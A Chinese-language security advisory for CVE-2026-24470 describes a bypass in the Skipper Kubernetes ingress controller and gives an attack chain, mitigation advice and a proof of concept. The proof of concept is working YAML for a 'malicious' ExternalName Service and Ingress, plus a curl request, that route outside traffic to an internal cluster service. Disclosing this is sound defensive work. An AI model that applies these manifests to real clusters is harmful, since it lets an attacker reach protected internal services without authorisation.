IPBUF安全漏洞报告
English
CVE-2026-24470 CVSS 8.1 高危

CVE-2026-24470 Skipper Ingress Controller Kubernetes安全绕过漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2026-24470
漏洞类型
安全绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Skipper (HTTP router and reverse proxy)

相关标签

安全绕过KubernetesIngress ControllerSkipperExternalName网络隔离权限滥用CVE-2026-24470

漏洞概述

CVE-2026-24470是Skipper HTTP路由和反向代理在作为Kubernetes Ingress控制器使用时存在的一个高危安全漏洞。该漏洞允许具有创建Ingress和ExternalName类型Service权限的低权限用户,利用Skipper的网络访问能力来访问Kubernetes集群内部的敏感服务。攻击者可以通过创建恶意的Ingress资源和ExternalName Service,绕过正常的网络隔离策略,从而实现对内部服务的未授权访问。由于Skipper默认允许路由到任意后端,攻击者可利用ExternalName Service将流量转发到集群内部的任意服务,包括那些本应受到网络策略保护的服务。此漏洞影响Skipper版本0.24.0之前的所有版本,CVSS评分8.1,属于高危漏洞。攻击者只需要低权限即可发起攻击,无需用户交互,且可远程利用,对集群内部服务的机密性和完整性造成严重威胁。

技术细节

Skipper在作为Kubernetes Ingress控制器运行时,默认允许将外部流量路由到任意后端地址。漏洞核心在于Skipper未对Kubernetes ExternalName类型Service进行适当的安全限制。当攻击者创建一个ExternalName Service(如指向cluster-internal-service.default.svc.cluster.local)并配合Ingress使用时,Skipper会忠实地将外部请求转发到该内部服务地址。具体利用过程:首先攻击者创建一个指向集群内部服务的ExternalName Service(通过spec.type: ExternalName和spec.externalName字段指定内部服务地址);然后创建Ingress资源将外部流量路由到该ExternalName Service;Skipper解析Ingress时会识别ExternalName Service并将其解析为对应的内部IP;最终外部用户可通过Skipper代理访问集群内部服务。版本0.24.0通过默认禁用Kubernetes ExternalName功能来修复此问题,管理员可配置允许列表来精确控制哪些ExternalName目标允许被访问。

攻击链分析

STEP 1
1. 权限获取
攻击者获得在Kubernetes集群中创建Ingress和Service资源的权限(RBAC角色绑定)
STEP 2
2. 创建ExternalName Service
攻击者创建一个ExternalName类型的Service,将externalName指向集群内部的敏感服务地址(如internal-service.default.svc.cluster.local)
STEP 3
3. 创建Ingress资源
攻击者创建Ingress资源,通过Skipper Ingress Controller将外部流量路由到步骤2创建的ExternalName Service
STEP 4
4. Skipper路由解析
Skipper解析Ingress配置时,识别ExternalName Service并将其DNS名称解析为对应的集群内部IP地址
STEP 5
5. 内部服务访问
外部攻击者通过向Skipper Ingress发送请求,可间接访问到集群内部的敏感服务,实现安全绕过

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-24470 PoC - Skipper Ingress Controller Security Bypass # This PoC demonstrates how an attacker with low privileges can access internal services # Step 1: Create a malicious ExternalName Service pointing to internal service apiVersion: v1 kind: Service metadata: name: malicious-externalname namespace: attacker-namespace spec: type: ExternalName externalName: internal-service.default.svc.cluster.local --- # Step 2: Create Ingress to route external traffic through Skipper to the ExternalName Service apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: malicious-ingress namespace: attacker-namespace annotations: kubernetes.io/ingress.class: skipper spec: rules: - host: attacker.example.com http: paths: - path: / pathType: Prefix backend: service: name: malicious-externalname port: number: 80 --- # Exploit: Send request through Skipper to access internal service # curl -H 'Host: attacker.example.com' http://<skipper-ingress-ip>/ # The request will be forwarded to internal-service.default.svc.cluster.local

影响范围

Skipper < 0.24.0

防御指南

临时缓解措施
如果无法立即升级,可通过配置Skipper的allowlist功能来限制ExternalName Service可指向的目标地址范围。使用skipper的ingressRoute特性并配置严格的路由策略。同时建议通过Kubernetes NetworkPolicy限制Skipper Pod的网络访问权限,仅允许访问必要的目标服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表